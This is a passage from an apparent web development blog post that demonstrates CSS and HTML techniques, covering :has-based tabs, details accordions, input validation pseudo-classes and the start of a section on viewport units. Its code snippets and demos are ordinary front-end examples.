&lt;sx-r&gt;tabindex&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;0&lt;/sx-v&gt; &lt;sx-r&gt;id&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&#34;tab-vici&#34;&lt;/sx-v&gt;&lt;sx-t&gt;&amp;gt;&lt;/sx-t&gt;vici...&lt;sx-t&gt;&amp;lt;/div&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;sx-t&gt;&amp;lt;/radio-tabs&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;sx-t&gt;&amp;lt;style&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;  &lt;sx-t&gt;body&lt;/sx-t&gt;:&lt;sx-l&gt;has&lt;/sx-l&gt;(#&lt;sx-a&gt;veni&lt;/sx-a&gt;:&lt;sx-l&gt;not&lt;/sx-l&gt;(:&lt;sx-l&gt;checked&lt;/sx-l&gt;)) #&lt;sx-a&gt;tab-veni&lt;/sx-a&gt;,&#xD;&#xA;  &lt;sx-t&gt;body&lt;/sx-t&gt;:&lt;sx-l&gt;has&lt;/sx-l&gt;(#&lt;sx-a&gt;vidi&lt;/sx-a&gt;:&lt;sx-l&gt;not&lt;/sx-l&gt;(:&lt;sx-l&gt;checked&lt;/sx-l&gt;)) #&lt;sx-a&gt;tab-vidi&lt;/sx-a&gt;,&#xD;&#xA;  &lt;sx-t&gt;body&lt;/sx-t&gt;:&lt;sx-l&gt;has&lt;/sx-l&gt;(#&lt;sx-a&gt;vici&lt;/sx-a&gt;:&lt;sx-l&gt;not&lt;/sx-l&gt;(:&lt;sx-l&gt;checked&lt;/sx-l&gt;)) #&lt;sx-a&gt;tab-vici&lt;/sx-a&gt; {&#xD;&#xA;    &lt;sx-p&gt;display&lt;/sx-p&gt;: &lt;sx-a&gt;none&lt;/sx-a&gt;;&#xD;&#xA;  }&#xD;&#xA;&lt;sx-t&gt;&amp;lt;/style&amp;gt;&lt;/sx-t&gt;&lt;/code-frame&gt;&#xD;&#xA;&lt;fake-frame style=&#34;min-height:150px&#34;&gt;&lt;div&gt;&lt;radio-picker aria-label=&#34;Tabs example&#34; role=&#34;radiogroup&#34;&gt;&#xD;&#xA;    &lt;label&gt;&lt;input type=&#34;radio&#34; name=&#34;demo2&#34; id=&#34;veni&#34; checked&gt;veni&lt;/label&gt;&#xD;&#xA;    &lt;label&gt;&lt;input type=&#34;radio&#34; name=&#34;demo2&#34; id=&#34;vidi&#34;&gt;vidi&lt;/label&gt;&#xD;&#xA;    &lt;label&gt;&lt;input type=&#34;radio&#34; name=&#34;demo2&#34; id=&#34;vici&#34;&gt;vici&lt;/label&gt;&#xD;&#xA;&lt;/radio-picker&gt;&#xD;&#xA;&lt;radio-tabs&gt;&#xD;&#xA;  &lt;div id=&#34;tab-veni&#34; tabindex=0&gt;&lt;strong&gt;veni&lt;/strong&gt;&lt;br&gt;&lt;em&gt;/ˈveɪni/&lt;/em&gt;&lt;br&gt;(intransitive) to come&lt;/div&gt;&#xD;&#xA;  &lt;div id=&#34;tab-vidi&#34; tabindex=0&gt;&lt;strong&gt;vidi&lt;/strong&gt;&lt;br&gt;&lt;em&gt;/ˈviːdi/&lt;/em&gt;&lt;br&gt;(intransitive) to see&lt;/div&gt;&#xD;&#xA;  &lt;div id=&#34;tab-vici&#34; tabindex=0&gt;&lt;strong&gt;vici&lt;/strong&gt;&lt;br&gt;&lt;em&gt;/ˈviːt͡ʃi/&lt;/em&gt;&lt;br&gt;(intransitive) to conquer&lt;/div&gt;&#xD;&#xA;&lt;/radio-tabs&gt;&lt;/div&gt;&lt;/fake-frame&gt;&lt;/code-compare&gt;&lt;/DIV&gt;&#xD;&#xA;&lt;style&gt;&#xD;&#xA;  #tab-example {&#xD;&#xA;    fake-frame {&#xD;&#xA;      flex-direction: column;&#xD;&#xA;      radio-picker input {&#xD;&#xA;        opacity: 0;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;radio-tabs {&#xD;&#xA;  display: flex;&#xD;&#xA;  width: calc(240px - 16px);&#xD;&#xA;  height: calc(80px - 16px);&#xD;&#xA;  padding: 8px;&#xD;&#xA;  box-shadow: inset 0px 0px 1.2px 0px #000;&#xD;&#xA;  margin-top: -1px;&#xD;&#xA;}&#xD;&#xA;body:has(#veni:not(:checked)) #tab-veni,&#xD;&#xA;body:has(#vidi:not(:checked)) #tab-vidi,&#xD;&#xA;body:has(#vici:not(:checked)) #tab-vici {&#xD;&#xA;  display: none;&#xD;&#xA;}&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;p&gt;&lt;em&gt;Correction (Oct 2025): As pointed out by a few people, the word definitions in the demo above are not fully accurate. Use my post to learn CSS, not Latin :).&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;We can now use them in the CSS however we want by just seeing if they&amp;rsquo;re &lt;em&gt;:checked&lt;/em&gt;. Here I made tabs with separate divs for the content by using a &lt;em&gt;:has&lt;/em&gt; selector on a parent element to find out which radio button is currently selected.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;em&gt;:has&lt;/em&gt; selector has to be on a parent element that contains both the radio button and the target element - you can simply use &lt;em&gt;html&lt;/em&gt; or &lt;em&gt;body&lt;/em&gt; if you want it to work across the entire page. You should &lt;strong&gt;never&lt;/strong&gt; use something like &lt;code style=&#34;color:#d30000&#34;&gt;:has(&amp;hellip;)&lt;/code&gt; by itself as it&amp;rsquo;ll run the selector for every element of the page, which can cause performance issues (&lt;code style=&#34;color:#0e8d00&#34;&gt;body:has(&amp;hellip;)&lt;/code&gt; is okay).&lt;/p&gt;&#xA;&lt;DIV&gt;&lt;code-compare aria-label=&#34;Demo: Details elements in an FAQ format&#34; role=&#34;figure&#34; id=&#34;details-example&#34;&gt;&lt;code-frame role=code style=&#34;height:520px&#34;&gt;&lt;sx-t&gt;&amp;lt;div&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;  &lt;sx-t&gt;&amp;lt;details&lt;/sx-t&gt; &lt;sx-r&gt;name&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&#34;deets&#34;&lt;/sx-v&gt;&lt;sx-t&gt;&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;    &lt;sx-t&gt;&amp;lt;summary&amp;gt;&lt;/sx-t&gt;What&#39;s your name?&lt;sx-t&gt;&amp;lt;/summary&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;    My name is Lyra Rebane.&#xD;&#xA;  &lt;sx-t&gt;&amp;lt;/details&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;  &lt;sx-t&gt;&amp;lt;details&lt;/sx-t&gt; &lt;sx-r&gt;name&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&#34;deets&#34;&lt;/sx-v&gt;&lt;sx-t&gt;&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;    ...&#xD;&#xA;  &lt;sx-t&gt;&amp;lt;/details&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;sx-t&gt;&amp;lt;/div&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;sx-t&gt;&amp;lt;style&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;  &lt;sx-t&gt;div&lt;/sx-t&gt; {&#xD;&#xA;    &lt;sx-p&gt;border&lt;/sx-p&gt;: &lt;sx-n&gt;1px&lt;/sx-n&gt; &lt;sx-a&gt;solid&lt;/sx-a&gt; &lt;sx-n&gt;#AAA&lt;/sx-n&gt;;&#xD;&#xA;    &lt;sx-p&gt;border-radius&lt;/sx-p&gt;: &lt;sx-n&gt;8px&lt;/sx-n&gt;;&#xD;&#xA;    &lt;sx-c&gt;/* based on the MDN example */&lt;/sx-c&gt;&#xD;&#xA;    &lt;sx-t&gt;summary&lt;/sx-t&gt; {&#xD;&#xA;      &lt;sx-p&gt;font-weight&lt;/sx-p&gt;: &lt;sx-a&gt;bold&lt;/sx-a&gt;;&#xD;&#xA;      &lt;sx-p&gt;margin&lt;/sx-p&gt;: &lt;sx-n&gt;-0.5em&lt;/sx-n&gt; &lt;sx-n&gt;-0.5em&lt;/sx-n&gt; &lt;sx-n&gt;0&lt;/sx-n&gt;;&#xD;&#xA;      &lt;sx-p&gt;padding&lt;/sx-p&gt;: &lt;sx-n&gt;0.5em&lt;/sx-n&gt;;&#xD;&#xA;      &lt;sx-p&gt;cursor&lt;/sx-p&gt;: &lt;sx-a&gt;pointer&lt;/sx-a&gt;;&#xD;&#xA;    }&#xD;&#xA;    &lt;sx-t&gt;details&lt;/sx-t&gt; {&#xD;&#xA;      &amp;amp;:&lt;sx-l&gt;last-child&lt;/sx-l&gt; { &lt;sx-p&gt;border&lt;/sx-p&gt;: &lt;sx-a&gt;none&lt;/sx-a&gt; }&#xD;&#xA;      &lt;sx-p&gt;border-bottom&lt;/sx-p&gt;: &lt;sx-n&gt;1px&lt;/sx-n&gt; &lt;sx-a&gt;solid&lt;/sx-a&gt; &lt;sx-n&gt;#aaa&lt;/sx-n&gt;;&#xD;&#xA;      &lt;sx-p&gt;padding&lt;/sx-p&gt;: &lt;sx-n&gt;0.5em&lt;/sx-n&gt; &lt;sx-n&gt;0.5em&lt;/sx-n&gt; &lt;sx-n&gt;0&lt;/sx-n&gt;;&#xD;&#xA;      &amp;amp;[&lt;sx-r&gt;open&lt;/sx-r&gt;] {&#xD;&#xA;        &lt;sx-p&gt;padding&lt;/sx-p&gt;: &lt;sx-n&gt;0.5em&lt;/sx-n&gt;;&#xD;&#xA;        &lt;sx-t&gt;summary&lt;/sx-t&gt; {&#xD;&#xA;          &lt;sx-p&gt;border-bottom&lt;/sx-p&gt;: &lt;sx-n&gt;1px&lt;/sx-n&gt; &lt;sx-a&gt;solid&lt;/sx-a&gt; &lt;sx-n&gt;#aaa&lt;/sx-n&gt;;&#xD;&#xA;          &lt;sx-p&gt;margin-bottom&lt;/sx-p&gt;: &lt;sx-n&gt;0.5em&lt;/sx-n&gt;;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;&lt;sx-t&gt;&amp;lt;/style&amp;gt;&lt;/sx-t&gt;&lt;/code-frame&gt;&#xD;&#xA;&lt;fake-frame style=&#34;min-height:180px&#34;&gt;&#xD;&#xA;  &lt;div&gt;&#xD;&#xA;    &lt;!-- for some reason, the name thing doesn&#39;t work in tor browser --&gt;&#xD;&#xA;    &lt;details name=&#34;deets&#34;&gt;&lt;summary&gt;What&#39;s your name?&lt;/summary&gt;My name is Lyra Rebane.&lt;/details&gt;&#xD;&#xA;    &lt;details name=&#34;deets&#34;&gt;&lt;summary&gt;Cool name!&lt;/summary&gt;I know ^_^&lt;/details&gt;&#xD;&#xA;    &lt;details name=&#34;deets&#34;&gt;&lt;summary&gt;Where can I learn more?&lt;/summary&gt;On my website, &lt;a href=&#34;https://lyra.horse/&#34;&gt;lyra.horse&lt;/a&gt;!&lt;/details&gt;&#xD;&#xA;  &lt;/div&gt;&#xD;&#xA;&lt;/fake-frame&gt;&lt;/code-compare&gt;&lt;/DIV&gt;&#xD;&#xA;&lt;style&gt;&#xD;&#xA;  #details-example {&#xD;&#xA;fake-frame {&#xD;&#xA;  display: flex;&#xD;&#xA;  justify-content: center;&#xD;&#xA;  align-items: flex-start;&#xD;&#xA;}&#xD;&#xA;fake-frame &gt; div {&#xD;&#xA;  display: flex;&#xD;&#xA;  flex-direction:column;&#xD;&#xA;  border: 1px solid #AAA;&#xD;&#xA;  margin-top: 16px;&#xD;&#xA;  border-radius: 8px;&#xD;&#xA;  width: 300px;&#xD;&#xA;  max-width: 90%;&#xD;&#xA;}&#xD;&#xA;/* based on the MDN example */&#xD;&#xA;details {&#xD;&#xA;  &amp;:last-child { border: none }&#xD;&#xA;  border-bottom: 1px solid #aaa;&#xD;&#xA;  padding: 0.5em 0.5em 0;&#xD;&#xA;}&#xD;&#xA;summary {&#xD;&#xA;  font-weight: bold;&#xD;&#xA;  margin: -0.5em -0.5em 0;&#xD;&#xA;  padding: 0.5em;&#xD;&#xA;  cursor: pointer;&#xD;&#xA;}&#xD;&#xA;details[open] {&#xD;&#xA;  padding: 0.5em;&#xD;&#xA;}&#xD;&#xA;details[open] summary {&#xD;&#xA;  border-bottom: 1px solid #aaa;&#xD;&#xA;  margin-bottom: 0.5em;&#xD;&#xA;}&#xD;&#xA;  }&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;p&gt;Finally, before we move on, I want to give you a quick introduction to the &lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/details&#34;&gt;details&lt;/a&gt; element. It&amp;rsquo;s great for if you want an accordion-style menu, such as for a FAQ section. The details open and close independently of each other, but you can set their name attribute to the same value to have only one open at a time.&lt;/p&gt;&#xA;&lt;p&gt;Using them is pretty easy, put your content and a &lt;em&gt;summary&lt;/em&gt; tag inside a &lt;em&gt;details&lt;/em&gt; tag, and put the title inside the &lt;em&gt;summary&lt;/em&gt; tag. The example above is a bit more convoluted for the visual flair, but all you &lt;em&gt;really&lt;/em&gt; need is the html part of it.&lt;/p&gt;&#xA;&lt;p&gt;The details elements are pretty stylable! You can add animations depending on the &lt;em&gt;[open]&lt;/em&gt; state, and you can also get rid of the arrow by setting &lt;code&gt;list-style: none&lt;/code&gt; on the &lt;em&gt;summary&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Also, ctrl+f works with it, which is a big win in my book!&lt;/p&gt;&#xA;&lt;h2 id=&#34;validation&#34;&gt;Validation&lt;/h2&gt;&#xA;&lt;p&gt;And lastly, I want to show you the power of input validation in HTML and CSS.&lt;/p&gt;&#xA;&lt;DIV&gt;&lt;code-compare aria-label=&#34;Demo: Input validation&#34; role=&#34;figure&#34; vertical id=&#34;validation-example-1&#34;&gt;&lt;code-frame role=code&gt;&lt;sx-t&gt;&amp;lt;label&lt;/sx-t&gt; &lt;sx-r&gt;for&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&#34;usrname&#34;&lt;/sx-v&gt;&lt;sx-t&gt;&amp;gt;&lt;/sx-t&gt;Username&lt;sx-t&gt;&amp;lt;/label&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;sx-t&gt;&amp;lt;input&lt;/sx-t&gt; &lt;sx-r&gt;type&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&#34;text&#34;&lt;/sx-v&gt; &lt;sx-r&gt;id&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&#34;usrname&#34;&lt;/sx-v&gt; &lt;sx-r&gt;pattern&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&#34;\w{3,16}&#34;&lt;/sx-v&gt; &lt;sx-r&gt;required&lt;/sx-r&gt;&lt;sx-t&gt;&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;sx-t&gt;&amp;lt;small&amp;gt;&lt;/sx-t&gt;3-16 letters, only alphanum and _.&lt;sx-t&gt;&amp;lt;/small&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;sx-t&gt;&amp;lt;style&amp;gt;&lt;/sx-t&gt;&#xD;&#xA; &lt;sx-t&gt;input&lt;/sx-t&gt;:&lt;sx-l&gt;valid&lt;/sx-l&gt; {&#xD;&#xA;   &lt;sx-p&gt;border&lt;/sx-p&gt;: &lt;sx-n&gt;2px&lt;/sx-n&gt; &lt;sx-a&gt;solid&lt;/sx-a&gt; &lt;sx-a&gt;green&lt;/sx-a&gt;;&#xD;&#xA; }&#xD;&#xA; &lt;sx-t&gt;input&lt;/sx-t&gt;:&lt;sx-l&gt;invalid&lt;/sx-l&gt; {&#xD;&#xA;   &lt;sx-p&gt;border&lt;/sx-p&gt;: &lt;sx-n&gt;2px&lt;/sx-n&gt; &lt;sx-a&gt;solid&lt;/sx-a&gt; &lt;sx-a&gt;red&lt;/sx-a&gt;;&#xD;&#xA; }&#xD;&#xA;&lt;sx-t&gt;&amp;lt;/style&amp;gt;&lt;/sx-t&gt;&lt;/code-frame&gt;&#xD;&#xA;&lt;fake-frame style=&#34;min-height:128px&#34;&gt;&#xD;&#xA;  &lt;div&gt;&#xD;&#xA;    &lt;label for=&#34;usrname&#34;&gt;Username&lt;/label&gt;&#xD;&#xA;    &lt;input type=&#34;text&#34; id=&#34;usrname&#34; pattern=&#34;\w{3,16}&#34; required&gt;&#xD;&#xA;    &lt;small&gt;3-16 letters, only alphanum and _.&lt;/small&gt;&#xD;&#xA;  &lt;/div&gt;&#xD;&#xA;&lt;/fake-frame&gt;&lt;/code-compare&gt;&lt;/DIV&gt;&#xD;&#xA;&lt;style&gt;&#xD;&#xA;#validation-example-1 {&#xD;&#xA;  fake-frame {&#xD;&#xA;    display: flex;&#xD;&#xA;    justify-content: center;&#xD;&#xA;    align-items: center;&#xD;&#xA;    &amp; &gt; div {&#xD;&#xA;      display: flex;&#xD;&#xA;      flex-direction: column;&#xD;&#xA;    }&#xD;&#xA;    input {&#xD;&#xA;      outline-offset: 2px;&#xD;&#xA;    }&#xD;&#xA;    input:valid {&#xD;&#xA;      border: 2px solid green;&#xD;&#xA;    }&#xD;&#xA;    input:invalid {&#xD;&#xA;      border: 2px solid red;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;p&gt;This is a simple example of how you can validate an input field with a regex pattern. If you set a &lt;em&gt;pattern&lt;/em&gt; attribute like above, a form that contains the input cannot be submitted unless the field matches the pattern. If you&amp;rsquo;re submitting something like &lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/input/email&#34;&gt;an e-mail address&lt;/a&gt;, &lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/input/tel&#34;&gt;a phone number&lt;/a&gt;, or &lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/input/url&#34;&gt;a url&lt;/a&gt;, it might make sense to use the respective input types instead of writing your own regex.&lt;/p&gt;&#xA;&lt;p&gt;Now, where CSS comes in is styling the input to show whether its value is valid. In the example above, I&amp;rsquo;m using &lt;em&gt;:valid&lt;/em&gt; and &lt;em&gt;:invalid&lt;/em&gt; to set a border color, but that comes with the downside of &lt;em&gt;always&lt;/em&gt; having your input marked, even if the user hasn&amp;rsquo;t entered anything yet.&lt;/p&gt;&#xA;&lt;DIV&gt;&lt;code-compare aria-label=&#34;Demo: Input validation&#34; role=&#34;figure&#34; id=&#34;validation-example-2&#34;&gt;&lt;code-frame role=code&gt;&lt;sx-t&gt;input&lt;/sx-t&gt; {&#xD;&#xA;  &lt;sx-p&gt;border&lt;/sx-p&gt;: &lt;sx-a&gt;none&lt;/sx-a&gt;;&#xD;&#xA;  &lt;sx-p&gt;border-radius&lt;/sx-p&gt;: &lt;sx-n&gt;2px&lt;/sx-n&gt;;&#xD;&#xA;  &lt;sx-p&gt;outline&lt;/sx-p&gt;: &lt;sx-n&gt;1px&lt;/sx-n&gt; &lt;sx-a&gt;solid&lt;/sx-a&gt; &lt;sx-n&gt;#000&lt;/sx-n&gt;;&#xD;&#xA;  &amp;amp;:&lt;sx-l&gt;focus&lt;/sx-l&gt; { &lt;sx-p&gt;outline-width&lt;/sx-p&gt;: &lt;sx-n&gt;2px&lt;/sx-n&gt;; }&#xD;&#xA;  &amp;amp;:&lt;sx-l&gt;user-valid&lt;/sx-l&gt; { &lt;sx-p&gt;outline-color&lt;/sx-p&gt;: &lt;sx-a&gt;green&lt;/sx-a&gt;; }&#xD;&#xA;  &amp;amp;:&lt;sx-l&gt;user-invalid&lt;/sx-l&gt; { &lt;sx-p&gt;outline-color&lt;/sx-p&gt;: &lt;sx-a&gt;red&lt;/sx-a&gt;; }&#xD;&#xA;}&lt;/code-frame&gt;&#xD;&#xA;&lt;fake-frame style=&#34;min-height:128px&#34;&gt;&#xD;&#xA;  &lt;div&gt;&#xD;&#xA;    &lt;label for=&#34;usrname2&#34;&gt;Username&lt;/label&gt;&#xD;&#xA;    &lt;input type=&#34;text&#34; id=&#34;usrname2&#34; pattern=&#34;\w{3,16}&#34; required&gt;&#xD;&#xA;    &lt;small&gt;3-16 letters, only alphanum and _.&lt;/small&gt;&#xD;&#xA;  &lt;/div&gt;&#xD;&#xA;&lt;/fake-frame&gt;&lt;/code-compare&gt;&lt;/DIV&gt;&#xD;&#xA;&lt;style&gt;&#xD;&#xA;#validation-example-2 {&#xD;&#xA;  fake-frame {&#xD;&#xA;    display: flex;&#xD;&#xA;    justify-content: center;&#xD;&#xA;    align-items: center;&#xD;&#xA;    &amp; &gt; div {&#xD;&#xA;      display: flex;&#xD;&#xA;      flex-direction: column;&#xD;&#xA;    }&#xD;&#xA;    input {&#xD;&#xA;      border: none;&#xD;&#xA;      border-radius: 2px;&#xD;&#xA;      outline: 1px solid #000;&#xD;&#xA;      &amp;:focus { outline-width: 2px; }&#xD;&#xA;      &amp;:user-valid { outline-color: green; }&#xD;&#xA;      &amp;:user-invalid { outline-color: red; }&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;p&gt;An easy win here is to instead use &lt;em&gt;:user-valid&lt;/em&gt; and &lt;em&gt;:user-invalid&lt;/em&gt; - these pseudo-classes only become active once you&amp;rsquo;ve interacted with input field. I also made this example use an outline instead of a border, which I think looks a lot nicer.&lt;/p&gt;&#xA;&lt;p&gt;It may sometimes even make sense to use a combination of &lt;em&gt;:valid&lt;/em&gt; and &lt;em&gt;:user-invalid&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Note (Oct 2025): Be careful with only using colors as feedback, as it can be an &lt;a href=&#34;https://infosec.exchange/@rebane2001/115133979492369974&#34;&gt;accessibility problem&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;And of course, you can use the &lt;em&gt;:has&lt;/em&gt; selector to style other elements depending on the input too!&lt;/p&gt;&#xA;&lt;DIV&gt;&lt;code-compare aria-label=&#34;Demo: Specific requirements password challenge for fun&#34; role=&#34;figure&#34; id=&#34;validation-example-3&#34;&gt;&#xD;&#xA;&lt;fake-frame style=&#34;min-height:128px&#34;&gt;&#xD;&#xA;  &lt;div&gt;&#xD;&#xA;    &lt;label for=&#34;paswd&#34;&gt;Password&lt;/label&gt;&#xD;&#xA;    &lt;input type=&#34;password&#34; id=&#34;paswd&#34; data-disabled-maxlength=&#34;16&#34; pattern=&#34;^(?=.*\p{Nl}).{8,15}\P{L}$&#34; required=&#34;&#34;&gt;&#xD;&#xA;    &lt;small&gt;The password must:&lt;br&gt;&#xD;&#xA;- be 8-16 characters&lt;br&gt;&#xD;&#xA;- contain at least ⅰ roman numeral&lt;br&gt;&#xD;&#xA;- not end with a letter&lt;br&gt;&#xD;&#xA;&lt;/small&gt;&#xD;&#xA;  &lt;/div&gt;&#xD;&#xA;&lt;/fake-frame&gt;&lt;/code-compare&gt;&lt;/DIV&gt;&#xD;&#xA;&lt;style&gt;&#xD;&#xA;#validation-example-3 {&#xD;&#xA;  fake-frame {&#xD;&#xA;    display: flex;&#xD;&#xA;    justify-content: center;&#xD;&#xA;    align-items: center;&#xD;&#xA;    &amp; &gt; div {&#xD;&#xA;      display: flex;&#xD;&#xA;      flex-direction: column;&#xD;&#xA;    }&#xD;&#xA;    input {&#xD;&#xA;      border: none;&#xD;&#xA;      border-radius: 2px;&#xD;&#xA;      outline: 1px solid #000;&#xD;&#xA;      &amp;:focus { outline-width: 2px; }&#xD;&#xA;      &amp;:valid { outline-color: green; }&#xD;&#xA;      &amp;:user-invalid { outline-color: red; }&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;body:not(:has(#validation-example-3 input:valid)) .pwWin { display:none; }&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;p&gt;This one&#39;s just for fun ^_-! &lt;span class=&#34;pwWin&#34; title=&#34;you&#39;ve now unlocked a scrapped animation in the button thing!&#34;&gt;you win! yay&lt;a href=&#34;#cool-anim&#34;&gt;!&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&#xD;&#xA;&lt;p&gt;I do want to mention that for some stuff, such as date pickers &lt;no-wrap&gt;(&lt;input name=date style=width:100px type=date&gt;)&lt;/no-wrap&gt; or datalists &lt;no-wrap&gt;(&lt;input name=ponies list=ponies style=width:50px placeholder=pony&gt;)&lt;/no-wrap&gt;, there are built-in elements that do the job, but you may find them limited in one way or the other. If you&amp;rsquo;re making an input like that with specific requirements, you may still need to dip your feet in a bit of JavaScript.&lt;/p&gt;&#xA;&lt;datalist id=&#34;ponies&#34;&gt;&#xD;&#xA;  &lt;option value=&#34;Twilight Sparkle&#34;&gt;&lt;/option&gt;&#xD;&#xA;  &lt;option value=&#34;Pinkie Pie&#34;&gt;&lt;/option&gt;&#xD;&#xA;  &lt;option value=&#34;Fluttershy&#34;&gt;&lt;/option&gt;&#xD;&#xA;  &lt;option value=&#34;Rainbow Dash&#34;&gt;&lt;/option&gt;&#xD;&#xA;  &lt;option value=&#34;Rarity&#34;&gt;&lt;/option&gt;&#xD;&#xA;  &lt;option value=&#34;Lyra Heartstrings&#34;&gt;&lt;/option&gt;&#xD;&#xA;  &lt;option value=&#34;Bonbon&#34;&gt;&lt;/option&gt;&#xD;&#xA;  &lt;option value=&#34;DJ Pon-3&#34;&gt;&lt;/option&gt;&#xD;&#xA;  &lt;option value=&#34;Octavia&#34;&gt;&lt;/option&gt;&#xD;&#xA;  &lt;option value=&#34;Colgate&#34;&gt;&lt;/option&gt;&#xD;&#xA;  &lt;option value=&#34;Carrot Top&#34;&gt;&lt;/option&gt;&#xD;&#xA;  &lt;option value=&#34;Berry Punch&#34;&gt;&lt;/option&gt;&#xD;&#xA;  &lt;option value=&#34;Derpy Hooves&#34;&gt;&lt;/option&gt;&#xD;&#xA;  &lt;option value=&#34;Dr. Hooves&#34;&gt;&lt;/option&gt;&#xD;&#xA;  &lt;option value=&#34;Jasmine Leaf&#34;&gt;&lt;/option&gt;&#xD;&#xA;&lt;/datalist&gt;&#xD;&#xA;&lt;!--&#xD;&#xA;## Container queries&#xD;&#xA;--&gt;&#xD;&#xA;&lt;h2 id=&#34;do-not-the-vwvh&#34;&gt;Do not the vw/vh&lt;/h2&gt;&#xA;&lt;p&gt;This section is kind of random but I wanted to include it here because I think a lot of people are messing this one up and I want more people to know how to do this stuff right.&lt;/p&gt;&#xA;&lt;p&gt;So CSS has vw/vh units that correspond to 1% of the viewport width and height respectively, which makes perfect sense for desktop browsers.&lt;/p&gt;&#xA;&lt;style&gt;&#xD;&#xA;/*&#xD;&#xA; * found a css issue in chrome while making this phone lol&#xD;&#xA; * https://issues.chromium.org/issues/440613173&#xD;&#xA; */&#xD;&#xA;epic-phone {&#xD;&#xA;  flex-shrink: 0;&#xD;&#xA;  display: flex;&#xD;&#xA;  width: 256px;&#xD;&#xA;  height: 500px;&#xD;&#xA;  background: #000;&#xD;&#xA;  border-radius: 24px;&#xD;&#xA;  border:4px inset #444;&#xD;&#xA;  phone-screen {&#xD;&#xA;    display: flex;&#xD;&#xA;    flex-direction: column;&#xD;&#xA;    border:2px inset #222;&#xD;&#xA;    border-radius: 20px;&#xD;&#xA;    min-width: 10px;&#xD;&#xA;    min-height: 10px;&#xD;&#xA;    background: #FFF;&#xD;&#xA;    overscroll-behavior-y: none;&#xD;&#xA;    overflow: clip;&#xD;&#xA;    flex: 1;&#xD;&#xA;    phone-navbar, phone-notifications {&#xD;&#xA;      font-family: var(--inter-stack);&#xD;&#xA;    }&#xD;&#xA;    phone-navbar {&#xD;&#xA;      color-scheme: only light;&#xD;&#xA;      touch-action: none;&#xD;&#xA;      cursor: row-resize;&#xD;&#xA;      &amp;:active { cursor: grabbing; }&#xD;&#xA;      -webkit-user-select: none;&#xD;&#xA;      user-select:none;&#xD;&#xA;      font-weight: 600;&#xD;&#xA;      font-size: 12px;&#xD;&#xA;      font-size-adjust: ex-height 0.545;&#xD;&#xA;      padding: 3px 10px 0;&#xD;&#xA;      display: flex;&#xD;&#xA;      justify-content: space-between;&#xD;&#xA;      align-items: center;&#xD;&#xA;      height:26px;&#xD;&#xA;      background:#121316;&#xD;&#xA;      color:#FFF;&#xD;&#xA;      span[data-battery] {&#xD;&#xA;        background: #FFF;&#xD;&#xA;        background: linear-gradient(90deg, #FFF 75%, #FFF9 75.01%);&#xD;&#xA;        color: #121316;&#xD;&#xA;        border-radius: 16px;&#xD;&#xA;        padding: 0 4px;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    @media (pointer: coarse) {&#xD;&#xA;      &amp;:has(phone-navbar:hover, phone-navbar:active) phone-notifications {&#xD;&#xA;        transition: 0.2s opacity;&#xD;&#xA;        opacity: 1;&#xD;&#xA;        display: flex;&#xD;&#xA;        &amp;&gt;div {&#xD;&#xA;          margin-top: 7px;&#xD;&#xA;          opacity: 1;&#xD;&#xA;          @starting-style {&#xD;&#xA;            margin-top: -4px;&#xD;&#xA;            opacity: 0;&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;        @starting-style {&#xD;&#xA;         opacity: 0;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    &amp;:hover:has(phone-navbar:active:not(:hover)) phone-notifications {&#xD;&#xA;      transition: 0.2s opacity;&#xD;&#xA;      opacity: 1;&#xD;&#xA;      display: 